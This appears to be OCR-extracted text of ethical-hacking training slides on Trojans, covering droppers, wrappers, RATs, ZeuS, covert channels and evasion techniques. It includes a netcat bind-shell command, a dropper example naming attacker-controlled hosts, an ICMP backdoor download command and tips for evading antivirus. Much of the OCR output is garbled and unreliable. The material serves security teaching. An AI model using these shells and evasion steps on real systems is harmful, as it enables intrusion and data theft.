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SECURITY NEWS

“This doesn't mean that
there are fewer threats or
that the cyber-crime market
is shrinking. Quite the
opposite; it continues to
expand, and by the end of
2010 we will have logged
mare new threats in
Collactive Intelligence than in
2009. Yet it seems as though
hackers are applying
economies of scale, reusing
old malicious code or
prioritizing the distribution of
existing threats over the
creation new ones”, Corrans
concluded.

December 20, 2010 11:56 AM

VTV X0 today.com

IT Perspective for Decision Makers
One third of existing computer viruses were created in Jan-Oct
2010: Panda

PandaLabs, Panda Security’s anti-malware laboratory, stated that, in the first ten months of the
year the number of threats created and distributed account for one third of all viruses that exist.
These means that 34 percent of all malware ever created has appeared in the last ten months.
The company’s collective intelligence database, which automatically detects, analyzes and
classifies 99.4 percent of the threats received, now has 134 million separate files, 60 million of
which are malware (viruses, worms, trojans and other threats).

The report further added that, up to October this y=ar, some 20 million new strains of malware
have been created (including new threats and variants of existing families), the same amount asin
the whole of 2005. The average number of new threats created every day has risen from 55,000
to 63,000.

Despite these dramatic numbers, the speed with which the number of new threats is growing has
dropped since 2008. Since 2003, “new threats have increased at a rate of 100 percent or more.
Yet so farin 2010 the rate of growth is around 50 percant”, explains Luis Corrons, technical
director, PandaLabs.

The company further informed that, although more malicious software is created, its lifespan is
shorter: 54 percent of malware samples are active for just 24 hours, as opposed to the lifespan of
several months enjoyed by the threats of previous years. They now infect just a few systams and
then disappear. As antivirus solutions become able to detect new malware, hackers modify them
or create new ones 50 as to evade detection. This is why it is so important to have protection
technologies such as collective intelligence, which can rapidly neutralize new malware and reduce

the risk window to which users are exposed during these first 24 hours. R T T e

Copyright ® by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

http://i-train.com.vn

http://ceh.vn (@l £ NEW S 6
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design

Canified Ethical Hacker




SECURITY NEWS

N
MNovember 29, 2010 3:52 PM ET

NEWS

1

Dangerous Trojan Ransomware Attacks Computers Worldwide

Security researchers have discovered a dangerous piece of ransomware attacking
computers around the world.

Experts at the security firm Kaspersky Lab noted that in a blog post today (Now.
29) that they have been notified of computers infected by ransomware. A type of
malware, ransomware holds a computer system — or its data — hostage against its
user, and then demands a type of ransom — wiring payment to the hacker or
urging the user to buy a fake removal tool, for example -- for its return.

The new ransomware, called Trojan-Ransom.Win32.GpCode.ax, is similar to
the infamous GpCode trojan virus detected by Kaspersky Lab in 2004 and
again in 2008.

Kaspersky Lab said that, "unlike the previous variants,” the new ransomware
"doesn't delete files after encryption. Instead it overwrites data in the files, which
makes it impossible to use data-recovery software such as PhotoRec, which we
suggested during the last attack.”

http./fwww.securitynewsdaily.com
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What is a =

. ltis aprogram in which the malicious or harmful code is contained inside apparently harmless

programming or data in such a way that it can get control and cause damage, such as ruining the file
allocation table on your hard disk

) With the help of a Trojan, an attacker gets access to the stored passwords in the Trojaned computer and

would be able to read personal documents, delete files and display pictures, and/or show messages on
the screen

Send me credit card details [ S
RN st B - B i
2 infected with Trojan
: ? lllllllllllllllllllllllllllllllllllllllll LR R R R R R R R R R R R R R R R R R R R R R '_
. Here is my credit card number and expire date e

Send me facebook "h >

. account information \ / é) >
;. ; N Victim in London

. < e

Here is my facebook
login and profile

Attacker A :
. E g . g | ¢ \
B e nd e & banddng fogin Info. | Ll "» Victim in Paris
E i ‘ infected with
T T A O T T T Blssessanncnanananuscanasnannnnns Trojan
—F ‘ i
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Overt and Covert Channels

A legitimate communication path
within a computer system, or
network, for transfer of data

A channel that transfers
information within a computer
system, or network, in a way that
Example of overt channel violates the security policy
includes games or any legitimate

The simplest form of covert
programs

channel is a Trojan

Poker.exe

Trojan.exe
(Legitimate Application)

(Keylogger Steals Passwords)
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Purpose of Trojans

Delete or replace Generate fake Download spyware,
Operating System’s  traffic to create adwares and

critical files DOS attacks malicious files
Steal information such as

® ® ®
passwords, security codes,

credit card information Disable firewalls

using keyloggers and antivirus

Record screenshots, Infect victim’s PC as
audio and video of a proxy server for
| victim’s PC relaying attacks

N
Use victim’s PC as a botnet @ Use victim’s PC for

to perform DDoS attacks spamming and blasting
email messages
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What Do Trojan Creators Look For?

& . Credit card information
R) :  Account data (email addresses, passwords, user names, etc.)

Confidential documents

. ,@J“- : Financial data (bank account numbers, social security numbers, insurance
/ :  information, etc.)

|5 : ] . . . .-
GG : Calendar information concerning the victim’s whereabouts

r tﬁ . Using the victim’s computer for illegal purposes, such as to hack, scan, flood, or infiltrate
& . other machines on the network or Internet

VISA

’l-\hllin
—
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Indications of a

- @
F 3 -
- CD-ROM drawer Cc-n:1|:|uter browser is Anti-virus is disabled The taskbar
opens and closes redirected to or does not work .

) disappears
by itself unknown pages properly
L E—— et sesnssanennssannsuanunans - S russusutsussesurannennnn_. :
b & Strange chat boxes ) . The account
T L, Windows color Windows Start passwords are
/ % appear on victim’s . )
— settings change button disappears changed or
computer .
; . * unauthorized access
: , : The ISP complains to
Computer screen Screensaver’s Strange purchase

flips upside

settings change

the victim that his/her

statements appearin

computer is IP

down or inverts the credit card bills

automatically

. * scanning :
lllllllllllllllllllllllllll !lllllllllllllllllllllllllllll=lllllllllllllllllllllllllIIlll‘lllllllllllllllllllllllllll
) Wallpaper or Functions of the right People know too much i The computer
; background settings : and left house personal information monitor turns itself
- change :  buttons are reversed about a victim off and on
s Documents or

Mouse pointer
disappears or moves
by itself

The computer shuts
down and powers
off by itself

messages are
printed from the
printer themselves

Ctrl+Alt+Del stops
working
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Common Ports used by Trojans
*

1(UDP)
Sockets des Troie

2 50 :
Death DRAT //
= 58 7 133
Senna Spy FTP DMSetup Farnaz
server 421
22 29 TCP Wrappers trojan
Shaft Hidden Port, NCX _*
= -~ 855-456
30 110 .
Agent 40421 ProMail trojan

.

692

™ g GayOL

Fatal Connections/ 1010-12, 1015-163 '
Doly Trojan

Hackers Paradise
667

SniperNet

1050
MiniCommand

1255
Scarab

DP trojan

1080-81
WinHole

1807
SpySender

1095, 1097-98
RAT

2155
Illusion Mailer,

Nirvana
2330 - 2338

Contact
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How to Infect Using a &
Create a new Trojan packet using a Trojan Horse Construction Kit

Create a dropper, which is a part in a trojanized packet that installs the malicious code
on the target system

- N

Example of a Dropper

c\windows\system32\svchosts.exe
HELM\Software\Mic... . \run\Iexplorer.exe

@l Malicious code = =

. S | 1] Client address: client.attacker.com | _ .. > -
: Dropzone: dropzone.attacker.com

Attacker Malicious Code Wrapper Wrapper

File name: my_name.jpg

Wrapper data: Graphic file
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How to Infect Using a

m Create a wrapper using tools to install Trojan on the victim's computer

m Propagate the Trojan

Execute the dropper
m Execute the damage routine

Dropper : "
i g E... sane -.-> H
e B:K ) ﬁ L_éhl;ropper
. - + drops the
-. ....... P b T TTEL ne D o v Trojan

Trojan code execution

Wrapper

Trojan Packet
Victim’s System
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http:

A wrapper binds a Trojan executable
with an innocent looking .EXE application

such as games or inji(:e applications wrapp ers

/b
=
u ll
|
\\7 Chess.exe x Tro;an exe
Flleslze' 20K

Filesize: 90K

When the user runs the wrapped

EXE, it first installs the Trojan in The two programs are : Chess exe
the background and then runs the wrapped together into a ; Faadl
wrapping application in the single file Wesize: 110K
foreground

Attackers might send a birthday greeting that will install a Trojan as the user watches, for example, a birthday cake
dancing across the screen

ceh.vn
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Wrapper Covert Programs

) bou [<H] ) . W \
\ W TS UL A\
| File Name " File Path | File Size Inject To Extract To | Ex = : \ A > 4
P s - L8 % version 1.0 't (&
\H):FAYMYPC-INSMLL MS!I  Ci\Documents and Settings\ifiDes... 4 Mb “Ybapppath® Yonone Me P I N 9
}-se(hc exe Ci\Documents and Settings\ " iyDes... 379kb %apppath YonOne% M File List | Anti Debuggng | Compde Fies | Event Logs | About
File Name File Sze Run
®] C:\Documents and Settingsl ADesitop\Music.way 58 1
i C:{Documents and Settings\ ™ \esktop\ilusion b... 392K 1
|
!
i
i
K »
Add To Fle
| 0% | [ selectrie | Add Fie
Iim:dsp'eadcotmmdsud\od@d... Plugn Count : 0006 I

Kriptomatik Advance File Joiner

Copyright ® by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

=

http://ceh.vn f'

‘——u__‘__\ o -
- ?HEWE 6 I . TmRAEIR http://i-train.com.vn
Foniea S e CEH, MCITP, CCNA, CCNP, VMware sPhere, LPl, Web Design




http://ceh.vn

'« DifferentWays a Trojan can Get
L.~ into a System

Legitimate "shrink-wrapped"
software packagedbya @ et
disgruntled employee

Instant Messenger
applications

-----
.........

- .,

»* .

.............
o .

Fake programs IRC (Internet Relay Chat)

Downloading files, games,
and screensavers from
Internet sites

Attachments

Untrusted sites and

Physical Access
freeware software "N . veeiiieest

. .
........
-----------

NetBIOS (FileSharing) e e Browser and email

software bugs
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~iojx] ; . et
P S S T " Computers typically get infected by clicking on a
B o | :35«. © © 0 malicious link or opening an e-mail attachment
- Reely Zm’“’ ot et that installs a Trojan on their computers that
Tom:
Dote:  Wedrwsday, March 24, 2010 12:33PM serves as a back door to criminals who can then
Too >
Subject:  Apgle AcgStcrs Order #33-32T067 command the computer to send spam email
=
s Bl Apple Store
. Call 1-800-MY-APPLE The Trojan connects to
Déar Clamtoaser Link to Trojan Server the attack server
To view the most up-to-date status and Inake changes to yojr E
Apple Online Store order, wisit onine ydur Order Stat .
. You can also cortact Apple Store Customer Service at 1-800-676-2775 oz vist online for H
e~ more ibamation. Attacker sends an email -
/ ’ to victim containing link
= ople Orline Stooe to puichaze Agple hasdwars, sofhwars, and third-party accemsried -
& sne. please call 1-800-MY-AFPLE to Tijan server
---------------------------------- Ty

A Victim clicks the link and :
Victim : immediately connects to SR, Attacker
: Trojan server in Russia Internet i .
Attacker installs ", :
the Trojan infecting * A %
his machine : i
= =
Trojan is sent to the victim UL}
OO0
o0

How to Deploy a Trojan? Trojan Server (Fusae)
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Evading

Never use Trojans . ,

downloaded from the web WWW W
(anti-virus can detect these r—
easily)

A
Change the content of the (e = -
Trojan using hex editor and
also change the checksum

and encrypt the file

e

Techniques

Break the Trojan file into
multiple pieces and zip
them as single file

P i
N0 5

" o

| —— ﬁ

li = ALWAYS write your own
— Trojan and embed it into an
'  application
| P Change Trojan’s syntax:
S — » Convert an EXE to VB script

Convert an EXE to a DOC file
Convert an EXE to a PPT file
Convert an EXE to a PDF file
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Types of Trojans

LTS sy, LTS LT
* e, +** e, " e, " e,
0‘ " o o

. -

POL L LT L LLL P
"n ., * ©
o

. o . +*

o*

Destructive

HTTP/HTTPS &  ICMP Command ata Hiding % & o0
Trojan Shell Trojan : i Trojan

% & Document
: 1 Trojan
... “‘

L L LT
. .,

L
L TTTTTL

Botnet Proxy
Trojan Server Trojan M

T, UL L TN o
L) . .
Li: - .

Credit Card

il £ 190
.
.,

% | mﬁ | !
00,. 0 V
1

101
01
-

. -
.

efacement *
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Command Shell Trojans

- Command shell Trojan gives remote control of a command shell on a victim’s machine

. Trojan server is installed on the victim's machine, which opens a port for attacker to connect.
The client is installed on the attacker's machine, which is used to launch a command shell on
the victim’s machine

0 20 40 60 80 100
I I I I I [ I I I I

C:> nc <ip> <port> C:> nc -L —-p <port> -t —-e cmd.exe
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Command Shell Trojan: Netcat

r@ Command Prompt x|

:
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GUI Trojan: MoSucker

L, L

images

A Moo vaxed Getnng Tared Latest Headires
ADAAAALCC ANMA,
2§ Mosila Hirefox S2art Page € COWNSE $ W,
€OF
Web lmages Maps News Qg Doghessssns AScoafolderGo = << EORILE

= MoSucker 3.00 server I- [2]X]

Server nfoimation I
m !Debug listing of all server settings: »~

Local IP: 192168816875 | | ———
Local Post: 20005 4+Booleans
Server status: Active Deny local connections = False

pages Connected clients (doublechick to kickki
Anorgmous (127.0.0.1), 1D=00001

Midilni & wnconol sl |
‘ Mia2ila 2010 Estun Bestat | Close | Uninstal | Aba
.

e | Cmndbglchckedxyloseesmdetj

> Connected to Victim1 (visble server§
< CheckForJL11
>UL1.oLn

< RequestScreenShot1280102430401
> FieSize=367130

Keglogger Status:  Active / Smast loog

Make screenshot

Core

Tistart om0

Ce 000000

Sent to chent #1 J
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GUI Trojan: Jumper and Biodox

L Communication
g passwords

manags fles

Settings manager
L system information
w fun manager
; commands

I8 capture

server properties
local tooks

% contact us

Connaction Port
™ Cornection 6661
Trarefer 6662

6664

o |

’ Jumper Trojan 370 -8 Victima(s) conectada(s) -Excuchando en el puerto: 55000 P e— i -

|. -“-A., :. —

Yictim Narme 1P Adress

—
wi
us
stabided
285
Se conectd, por ultima vez: TYV_611644 - rosy/Administrador
- L, Usuano v
£ avictras corectacas
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VIA LETTER Fe&

John Stevens x
Royal Communications Company

445 152" Street S.W. September 2, 2010

Washington, DC 20554
RE: Fedex Shipment Airway Bill Number: 867676340056
Dear Mr. Stevens:

We have received a package addressed to you at the value of USD 2,300.
The custom duty has not been paid for this shipment which is listed as
Apple iMac 24' Computer.

Please call us at Fedex at 1800-234-446 Ext 345 or e-mail me at
m.roberts@fedex.com regarding this shipment.

Please visit our Fedex Package Tracking Website to see more details
about this shipment and advice us on how to proceed. The website link is
attached with this letter.

B Trojan embedded in
Package Word document
| Sincerely,

Michelle Roberts

Customer Service Representative
International Shipment and Handling
Fedex Atlanta Division

Tel: 1800-234-446 Ext 345
http://www fedex.com
m.roberts@fedex.com

Document Trojans =

Attacker

()

e

.
Srnnsnsnnsnmsnnannnns®

Attacker embeds Trojan
into @ Word document
and infects victim
computer

Trojan is executed as victim opens the
document and clicks on Trojan package

Victim's System
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Trojans

_J Attacker gains remote control of a victim computer by sending email messages
) Attackers can then retrieve files or folders by sending commands through email

) Attacker uses open relay SMTP server and fakes the email's FROM field to hide origin

Send me c¢: \creditecard. txt file
Launch calc.exe

> l <t
Instructions are sent to the Here is the requested file
——— " " e—
victim through emails V - -
\ -

Any commands for me?

 Calc.exe executed

Internet  Firewall
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E-mail Trojans: RemoteByMail

File Actions Tools Help
Stop Check now
Statistic: ' Emails received:
Running since:  10/07/2005 7:46:22FM @ B== = & ‘
Emails received 0
Cmds executed: 0
o Accounts: ____ POP & SMTP settings: Access:
;jext ea‘: (?heck‘ 00:03:00 SoftPedia Account name: SoftPedia v Actve Served chents:
o8 chacking: “@sample.com

Last response: Froem name SoftPedia

F $ [
Sialer | Mo operaiion roen email oftpeda@soltpedia com
Last etror ' POP server: softpedia.com
Progress: D ™ Enctypted logon

POP user softpeda
Listening to accounts; P pas ik etok
SoftPeda (soltpedia@solt con) POP password wouddntyouliketoknow Available o g

>*@sample.com SMTP zerver: softpedia.com : >
e ——— "
Authentication Same asPOP | s:g

SMTP user lavecute *

SMTP password
10/07/2006 7-46:33 PM: Ready checking email ace
1070772005 7:46:33 PM: Stast sending 0 emails
10/07/2005 7:46:33 PM: Ready sending emails Password:

= wouldntyousketoknow
Meicey if Use: J926U8  Unkeensed bvaisnon Lo Dolcto Mosangos aftce 0__J doy Defoul reply subject

. of when maibox size is larger than |0 bytes. Runtine’s RemoteByMai
New Delete
0K X Cancel l ? Hep
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Trojans

E Calculator
..... View Help

Resource
editors allow to
view, edit, extract,
and replace strings,
Example of bitmaps, logos and
calc.exe icons from any
Windows

: Defaced calc.exe

Original calc.exe

They apply User-
styled Custom
Applications (UCA)
to deface Windows
application
menus to the dialog
boxes to the
icons and
beyond
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Defacement Trojans: Restorator

Resource Tree

= [3] sheliz2.dl
¥ L AVI
+ L REGINST
+ o TYPELIB
+ J UIFILE
. Bitmap
130
+ L) Menu
+ J Dialog
# J Sting
+ ) Accelerator
# J Cursor
+ J lcon
) Version
+ J htmi
+ J Mandest

Res Restorator - C:\shell32.dII
Fie Resources Viewer Edit Tools Help

ARPG reve THS @ 2

Resowrce Viewer | File Browset

=1e3

[k Find in Resources Cti+F

Find Next

F3

New

Close al

Collapse Tree
Sort Tree

Bitmap\131\English (United States)

il l Pop-up I
menu

»

Bitmap 413 x

Resource
Viewer i
| B cacutator MEE]
, il You Are Hacked!!!!!  View Help -
[ o] (e ] )
e Lz )L JUs L (e
__ =) MO
| Cs) DEGICGe
L J Lol L]
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Botnet Trojans
% ©

) Botnet Trojans infect a large number of computers across a large geographical

area to create a network of bots that is controlled through a Command and
Control (C&C) center

_J Botnet is used to launch various attacks on a victim including denial-of-service
attacks, spamming, click fraud, and the theft of financial information

\Z 2

Botnet

- -

Bot Bot Bot
B
Bot Bot
I
Attacker Botnet C&C Bot Bot Bot
\_ Y,
Server

Company Website
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Illusion Maker

—

Binary: fC: \Documents and Settings\Administrador\E scritorio\MIS VIRUSA\BO TNE T\illusion_ Reload
IRC Administration

1) Host: ]lroyanosyvitus.co Port: |6867 Chan [mtoyanosyvirus Pass: [2580

2) Host: |troyanosyvirus.com  Port: |B667
WEB Administration

1] Host: Pot: | Path: |

M

Chan lttlroyanosyvirus Pass: [

Refresh time: | i |
I

el

W FTP,pot |21 Rl [~ Bindshell, port il

IRC Access

BOT PASSWORD: |2580 [~ MD5 Crypt

Options

[V Install Kemel Driver IV Auto OP admin on IRC channel [V IRC server need password

[V Save services state inregistry [V Inject code (if driver fails) [V Bypass XP SP2 Firewall
I” Colored IRC messages v Add to autoload [ Flood Values

Exit
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Botnet Trojan: NetBot Attacker

81.37.52.182 OSCA... 1025MB | 20070313

o' e L | e e e e

1

.
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Trojans

Z &

© Trojan Proxy is usually a standalone application that allows remote
attackers to use the victim’s computer as a proxy to connect to the Internet

© Proxy server Trojan, when infected, starts a hidden proxy server on the
victim’s computer

©® Thousands of machines on the Internet are infected with proxy servers
using this technique

Internet Target Company
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Proxy Server Trojan:
W3bPrOxy Tr0j4nCr34t0r (Funny Name)

W3bPrOxy Tr0j4n is a proxy server Trojan which support multi connection from many clients
and report IP and ports to mail of the Trojan owner
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FTP Trojans

© @
J FTP Trojans install an FTP server on the victim's machine, which opens
FTP ports

 An attacker can then connect to the victim's machine using FTP port to
download any files that exist on the victim's computer

FTP Server
@ Send me //' Volume in drive C has no label.

[—— c: \creditcard. txt flle Volume Serial Number is D45E-9FEE
J 9 BEEmmmmmmmmmmmmmmmmTTTTsT > Directory of C:\
06/02/2010 1,024 .rnd

N 09/06/2010 0 abc.txt
08/24/2010 <DIR> AdventNet
05/21/2010 0 AUTOEXEC .BAT
s 2o 05/21/2010 0 CONFIG.SYS
Hacker Victim 06/04/2010 <DIR> Data
(FTP Server installed in 08/11/2010 <DIR> Documents and

the background)

Crsesiiiimwsen Here is the requested file

Copyright ® by EG-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

e

E=
http://ceh.vn ‘iﬁ'

T ETES http://i-train.com.vn
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design

Cenified Ethical Hacker

m NEWS & s




FTP Trojan: TinyFTPD

r@ Command Prompt x|

DO e ATIC] = ngs yvAamin '\ De op P = =

n9H )

[ P B ggbDrop

l e allc =

omeD 98

.- - -

Jnlo =1 O

ne 1§ 0 [ . e =T =

0 OII D 0 1‘ ) . .
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VNC Trojans

VNC Trojan starts a VNC Server daemon in the
infected system

It connects to the victim using any VNC viewer
with the password “secret”

Since VNC program is considered a utility, this
Trojan will never be detected by anti virus

= Command and
g —_— control instruction >
LoV -

4.......0&.&.{;;%;......_ ]
Attacker

Victim

® 37

VNC Server
>
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VNC Trojans

WinVNC VNC Stealer
WinVNC: Current User Properties Q = @ NC Stealer
Incoming Connections oK
[V Accept Socket Connections
Display Number : | M Auto Cancel
Password : l Apply ]
-
[ Disable Remote Keyboard & Pointer :‘lz‘-;‘::f:thng:
[~ Disable Local Keyboard & Ponter | I
Usermame:
Update Handling | I
r~ Poll Console
| (BoTull Scedn . Windows Only Password:
W Poll ForegroundWindow [~ EOLONEXeNt | |
( Build ]
[~ Poll Window Under Cursor [ o ]
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HTTP/HTTPS Trojans

<SS the Inter,, .
>

The child program
appears to be a user to
the firewall so it is

allowed to access

the Internet

" HTTP Trojans ~

can bypass any
firewall and work in
the reverse way of a

straight HTTP tunnel e ernal hastand

" spawn a child ata
predetermined time

HTTP request

to download afile |, ’ :
sanununey OONRREEEN csune SEssNsssanns snsnnnnun)
g Trojan passes through

HTTP reply
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@ HTTP RAT 0.31

%
A

1
'

r.i‘! kdoor webss ¢
" _-‘J by zOmbie
g

latest version here: hilp://freenat am/~2ombie)
selhings
[V send notification with ip address to mail

SMTP seiver 4 sendng mai
u can specty several servers delmited with |
fsmtp. cestifiedhacker. com|

your emal address:
|«:zh‘h’|a@4uag;.¢ﬁ:v,- com

V' close FreWals

server port |80
Create I Eat I

Generates :
server.exe :
using HTTP RAT :

HTTP Trojan: HTTP RAT

Infect the victim’s computer with
server.exs and plant HTTP Trojan

A o ' a2
The Trojan sends an email

with the location of an IP address @ —t

using a browser to port 80

Displays ads, records personal
data/keystrokes

Downloads unsolicited files, disables
programs/system

listing of C:/

Floods Internet connection, and
distributes threats

Tracks browsing activities and hijacks
Internet browser

22 & & E

Makes fraudulent claims about spyware
detection and removal
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Shttpd Trojan - HTTPS (SSL)

@ @
) SHTTPD is a small HTTP Server that can be embedded inside any
program

J It can be wrapped with a genuine program (game chess.exe), when
executed it will turn a computer into an invisible web server

Normally Firewall allows you

Attacker through port 443 En&rypted Traffic Victim
IP: 10.0.0.5:443 IP: 10.0.0.8:443
Connect to the victim using Web Browser Infect the victim’s computer with JOUST . EXE
http://10.0.0.5:443 Shttpd should be running in the background

listening on port 443 (SSL)

Copyright ©® by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.

TEEETERS http://i-train.com.vn

—
htto://cehvn (gl Er NEW S 6 :
CEH, MCITP, CCNA, CCNP, VMware sPhere, LPI, Web Design

Canified Ethical Hacker




ICMP Tunneling

Covert channels are methods in which an attacker can hide the
data in a protocol that is undetectable

They rely on techniques called tunneling, which allow one

A protocol to be carried over another protocol
Tunneling

ICMP tunneling uses ICMP echo-request and reply to
carry a payload and stealthily access or control the
ICMP echo-request victim’s machine
and echo-reply
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ICMP Trojan: icmpsend

Commands are Command Prompt

evneensot using [CMP protocol .. ] Backdoor Winszsicmp

: Srv —install

H =Welcome to www.hackerfiles.net=

H —[ ICMP-Cmd v1.0 beta, by gxisone

—[ E-mail: gxisone@hotmail.com 1—

— 2003/8M5 |

Usage: icmpsrv —install <to install service>
lcmpsrv —remove <to remove service>

2:::::2?5H:|1n32>|cmp Transmitting File ... Success !
Welcome to www.hackerxfiles.net—: Crea?lng Sen_rlce Sucl:iess !
—[ICMP-Cmd v1.0 beta, by gxisone J— Starting Service ... Pending ... Success !
—[E-mail: gxisone@hotmail.com ]— C:\Documents and Settings\Administrator.VINDOW S\Desktop ICMP
- 2003815 | = Backdoor Win32
Usage: icmpsend RemotelP
Ctri+C or Qfq to Quite  H/h for help
ICMP-CMD>H
[hitp:/1M27.0.0.1/hack.exe =admin.exe] <Download Files. Parth is \system 32>
[pslist] <List the Process>
[pskill ID]  <Kill the Process>
Command <run the command>
ICMP-CMD

ICMP Server

(Command: icmpsrv —-install)

ICMP Client
(Command: icmpsend <victim IP>)
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s iitw Attacker gains 100%

(complete) access
to the system

Jason Attacker Rebecca Victim
Infected with RAT Trojan

Sitting in Russia

This Trojan works like a remote desktop access. Hacker gains
complete GUI access to the remote system

1. Infect (Rebecca’s) computer with server.exe and plant Reverse
Connecting Trojan

2. The Trojan connects to Port 80 to the attacker in Russia establishing
a reverse connection

3. Jason, the attacker, has complete control over Rebecca’s machine
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Remote Access Trojan: RAT DarkComet

* DarkComet-RAT v2.0 Final RC7 - User(s) : 1 El@lgl
Cornection  SIN  Main Settings  About

P wanf[Lan] : Poet Computer NamefU... OS5 A C P 1dle Active Caption

| Serverts _1127.0.0.1 4 [152.16... | ECC.273FFs3am87 ... | Windows 1P Servic..._Lx | Lisws lis |

[ serveredtor ][ updste | @ Not Activated Ne Open Pertis) : 1

ntrol : [ECC-273FF53 Hackers], Sockat : [916].

# @ System Info A | Process Manager | Lie Process Manager | Remote Registry | Windows List - Uninstal Applications ¢ %
= s Fun Furctions
3. Fun Manager
™ Plano = M Computer ~
Py MessageBox .
= Systesn Functions 323
Process Manager
Lite Process Manager
$' Remote Registry
B Remote Shell
| Windows List
Uninstal Applcations
4> System Privieges
# B Remote M5Config
= |_g Remote Scripting
@] Html Scripting
R Batch Scripting
¥ VB Scripting

HKEY_CLASSES_ROOT v Name Type Data

’ 2 0 Final RCT

Screen Capture Settings X
Resize : X os
MaSucker  hpna2awn... O :] :]
Fles Functions

- qrojen X ,
) Password [ Datas ! Quality : J
B Fund
\- ':;:‘m;;‘S .L_ 6 Control Options Misc
5 .
& Webcam Capture 5 [C] control meuse clck [#] Show Cursor
ACORRCIE SIEWINFCaD 4 150s [E] Contrel o6 [ Auosize the form

) Sound Capture =
Bl remote Desktop [[] Control Keyboard Active Window "7‘“:
*un

Keylogger
# S Network Functions A
B P
= W Misc Functions I
Js, Print Manager <P = Be My
I Gpboard

i sl Brtinne

e

H

-
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Remote Access Trojan: Apocalypse

4 . 1 Victim Onfine

il Connections | 4 Broadcast

Srformation
PC Information
i Server Information
1) Installed Applications
@ Active Ports
:5 Accessories
i Remote Desktop
& Webcam Capture
< Audo Copture
- Keylogger
o Onine Keylogger
o Offine Keylogoer
Coenmurecation
& Chat wath Server
Ligl Send Message
- Managers
= File Manager
File Search
(2J Remote Download
&Y Regstry Edtor
= " Opboard Manager
) Opboard Text
{3 Opboard Fles
© Startup Manager
o Service Manager
= Process Manager
4 Modules
™) Window Manager
B Command Prompt
© Explorer Settings
= M Plugins
Password Manager
W Fun Stuff
= %3 Contact Us
& Web Ste
’ About

=4

MNo Connection!

Buider | >#* Statistics | T About

Server ID Lan
[¥] '8 sp0calypse_BCICES1S 127.0.0.1

 Settngs

L R S P W RO,

Wan Computer Name Username
127.0.0.1 ECC-273FFS3A...  Hackers

=3
| (=

Message Selting:

Q .
Message

Display Name Version
| Adobe AIR 2.0.3.13070
| Alchanmy Remote Executor

o MessageBox | (] Message List
Message lcon Avalable Buttons
®oK () Yes, No
O OK. Cancel O Yes. No, Cancel

Installed Applications Server ID : apOcalypse BC9C6515 - 127.0.0.12127.0.0.1

Publsher
Adobe Systems Inc.

| Update for Windows XP (KB911164) 1 Microsoft Corporation

| Mozla Firefox (3.6.8) 3.6.8 (enUS) Mozla C:\Program Files\Mozila Firel
JSQLyog Trial 8.55 8,55 Webyog Softworks Pvt. Ltd.  C:\Program Files\SQLyog Tri
| WampServer 2.0 Romain Bourdon (Roms) “ci\wamp\unins000, exe™
IwinPcap 4.1.2 4.1.0,2001 CACE Technologes Ci\Program FlesiwinPcapiur
| WINRAR archiver C:\Program Files\WinRARur
| WebFidrs XP 9,50.7523 Microsoft Corporation

1 Adobe Reader 9.3.3 9.3.3 Adobe Systeme Incorpora...  MsiExec.exe [I{ACT6BABS-7

Adnhe ATR 20313 Adoha Svetams Tnr M car pm (LRI 94272011 Y
< >
instaled appication kst received.

(O Rety, Cancel
O Abort, Retry, Ignore

Unirstal String ~
¢:\Program Fies\Common Fi
“C:\Program Files\Alchemy R

<

Progress

|
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Covert Channel Trojan: CCTT

@ @
1. Covert Channel Tunneling Tool (CCTT) Trojan presents various exploitation techniques,

creating arbitrary data transfer channels in the data streams authorized by a network
access control system

2. Itenables attackers to get an external server shell from within the internal network and
vice-versa

3. Itsetsa TCP/UDP/HTTP CONNECT|POST channel allowing TCP data streams (SSH, SMTP,
POP, etc...) between an external server and a box from within the internal network

© z)

Encoded data through TCP/UDP E

http://ceh.vn %

L INEWS

Canified Ethical Hacker

e - q 9
/> 8 (7]
.............. B B B RS P R e <
Encoded data — I @ \ﬁ
through HTTP Wy e
p:(;l;s chain g ! ! | LA e
Client CCTT Firewall CCTT Target
Clients Proxy chain Server g.
Services
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E-banking Trojans

e-banking Trojans intercept a victim's account information before it is encrypted and send it to
the attacker's Trojan command and control center

Malicious advertisements published
among the legitimate websites

ELCTECLETEEE 2 = LT PP P TP PP PR PR PP PRV TR PR EPREERTY =

oL
O0c) SENSEESEEESEEEssEsEEsEEsass
200 User access to infected

website
Malware Server Legitimate

.Jhe website redirection to Q f Websites

=

Uploads malicious
advertisements

sEEssEEEEEEREERE g

the malicious eprBit kit

e
.g}.ﬁ'

User redirects to malicious
exploit kit 46.

»
- ¥ lllllllllllllllllll.lllllll) ‘
The User’s PC exploited y

9‘ Trojan reports for a new bot

-
Sends instruction to the Trojan —
llllllIll.l.llllllllll-lllll.l-ljllnalQ —

\ —

@ Trojan reports user activities

\S—— |}

Instruction to manipulate
banks transactions Control and

Command Server

¢
=

Attacker

=
o
0
-~

"essansunnnsnnnnne

User access bank A/C

00 "'iz;a;,;a.';;;;a;;p;'s;:,;"@ : @ B e b it
ot Tl transaction transaction
Financial Institution
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Banking Trojan Analysis

1| Trojan intercepts valid Transaction Authentication Number (TAN) entered by a user
. 1. TAN Grabber )

Additional fields elicit extra information such as card number and date of birth
Attacker can use this information to impersonate and compromise victim's account

i 3. Form Grabber

Trojan analyses POST requests and responses to victim's browser

It compromises the scramble pad authentication

r—
i Trojan intercepts scramble pad input as user enters Customer Number and Personal

Access Code
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E-banking Trojan: ZeusS

ZeusS is a banking Trojan horse program which steals data from infected computers
via web browsers and protected storage

B ZeuS Control Panel

Information Buider
Config and loader building

Logs decoder Source config file:

C:\Documents and Settings\Kobayashi\Desktop!\ Troyano_ZeusS\: Brow:

[ Edit config ] [ Build config ] [ Build loader ]

Qutput

Loading config from file 'C:\Documents and A
Settings\Kobayashi\Desktop\ Troyano_ZeuS\ZeuSilocaliconfig.txt'...
Loading succeeded!

Creating loader file 'C:\Documents and
Settings\Kobayashi\Desktop|Troyano_ZeuS\|dr.exe'...
botnet=[MAIN]

timer_config=3600000, 60000

timer_logs=60000, 60000

timer_stats=1200000, 60000
url_config=http://203.142.10.2/~yourtravjwebjcfg.bin
url_compip=http:/fwhatismyip.com

Build succeeded!
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Destructive Trojans

When
This is a | executed, this

dangerous and | Trojan destroys
destructive type | the operating
of Trojan | system

This Trojan | The user will
